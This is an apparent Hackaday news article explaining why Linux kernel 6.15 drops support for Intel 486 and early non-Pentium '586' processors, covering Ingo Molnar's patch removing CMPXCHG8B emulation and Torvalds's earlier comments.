Some time ago, Linus Torvalds made a throwaway comment that sent ripples through the Linux world. Was it perhaps time to abandon support for the now-ancient Intel 486? Developers had already abandoned the 386 in 2012, and Torvalds openly mused if the time was right to make further cuts for the benefit of modernity.

It would take three long years, but that eventuality finally came to pass. As of version 6.15, the Linux kernel will no longer support chips running the 80486 architecture, along with a gaggle of early “586” chips as well. It’s all down to some housekeeping and precise technical changes that will make the new code inoperable with the machines of the past.

Why Won’t It Work Anymore?

The kernel has had a method to emulate the CMPXCH8B instruction for some time, but it will now be deprecated.
The big change is coming about thanks to a patch submitted by Ingo Molnar, a long time developer on the Linux kernel. The patch slashes support for older pre-Pentium CPUs, including the Intel 486 and a wide swathe of third-party chips that fell in between the 486 and Pentium generations when it came to low-level feature support.

Going forward, Molnar’s patch reconfigures the kernel to require CPUs have hardware support for the Time Stamp Counter (RDTSC) and CMPXCHG8B instructions. These became part of x86 when Intel introduced the very first Pentium processors to the market in the early 1990s. The Time Stamp Counter is relatively easy to understand—a simple 64-bit register that stores the number of cycles executed by the CPU since last reset. As for CMPXCHG8B, it’s used for comparing and exchanging eight bytes of data at a time. Earlier Intel CPUs got by with only the single-byte CMPXCHG instruction. The Linux kernel used to feature a piece of code to emulate CMPXCHG8B in order to ease interoperability with older chips that lacked the feature in hardware.

The changes remove around 15,000 lines of code. Deletions include code to emulate the CMPXCHG8B instruction for older processors that lacked the instruction, various emulated math routines, along with configuration code that configured the kernel properly for older lower-feature CPUs.

Basically, if you try to run Linux kernel 6.15 on a 486 going forward, it’s just not going to work. The kernel will make calls to instructions that the chip has never heard of, and everything will fall over. The same will be true for machines running various non-Pentium “586” chips, like the AMD 5×86 and Cyrix 5×86, as well as the AMD Elan. It’s likely even some later chips, like the Cyrix 6×86, might not work, given their questionable or non-existent support of the CMPXCHG8B instruction.

Why Now?

Molnar’s reasoning for the move was straightforward, as explained in the patch notes:

In the x86 architecture we have various complicated hardware emulation
facilities on x86-32 to support ancient 32-bit CPUs that very very few
people are using with modern kernels. This compatibility glue is sometimes
even causing problems that people spend time to resolve, which time could
be spent on other things.

Indeed, it follows on from earlier comments by Torvalds, who had noted how development was being held back by support for the ancient members of Intel’s x86 architecture. In particular, the Linux creator questioned whether modern kernels were even widely compatible with older 486 CPUs, given that various low-level features of the kernel had already begun to implement the use of instructions like RDTSC that weren’t present on pre-Pentium processors. “Our non-Pentium support is ACTIVELY BUGGY AND BROKEN right now,” Torvalds exclaimed in 2022. “This is not some theoretical issue, but very much a ‘look, ma, this has never been tested, and cannot actually work’ issue, that nobody has ever noticed because nobody really cares.”
Intel kept i486 chips in production for a good 18 years, with the last examples shipped out in September 2007. Credit: Konstantin Lanzet, CC BY-SA 3.0
Basically, the user base for modern kernels on old 486 and early “586” hardware was so small that Torvalds no longer believed anyone was even checking whether up-to-date Linux even worked on those platforms anymore. Thus, any further development effort to quash bugs and keep these platforms supported was unjustified.

It’s worth acknowledging that Intel made its last shipments of i486 chips on September 28, 2007. That’s perhaps more recent than you might think for a chip that was launched in 1989. However, these chips weren’t for mainstream use. Beyond the early 1990s, the 486 was dead for desktop users, with an IBM spokesperson calling the 486 an “ancient chip” and a “dinosaur” in 1996. Intel’s production continued on beyond that point almost solely for the benefit of military, medical, industrial and other embedded users.
Third-party chips like the AMD Elan will no longer be usable, either. Credit: Phiarc, CC-BY-SA 4.0
If there was a large and vocal community calling for ongoing support for these older processors, the kernel development team might have seen things differently. However, in the month or so that the kernel patch has been public, no such furore has erupted. Indeed, there’s nothing stopping these older machines still running Linux—they just won’t be able to run the most up-to-date kernels. That’s not such a big deal.

While there are usually security implications around running outdated operating systems, the simple fact is that few to no important 486 systems should really be connected to the Internet anyway. They lack the performance to even load things like modern websites, and have little spare overhead to run antiviral software or firewalls on top of whatever software is required for their main duties. Operators of such machines won’t be missing much by being stuck on earlier revisions of the kernel.

Ultimately, it’s good to see Linux developers continuing to prune the chaff and improve the kernel for the future. It’s perhaps sad to say goodbye to the 486 and the gaggle of weird almost-Pentiums from other manufacturers, but if we’re honest, few to none were running the most recent Linux kernel anyway. Onwards and upwards!

hackaday.com/2025/07/02/why-th…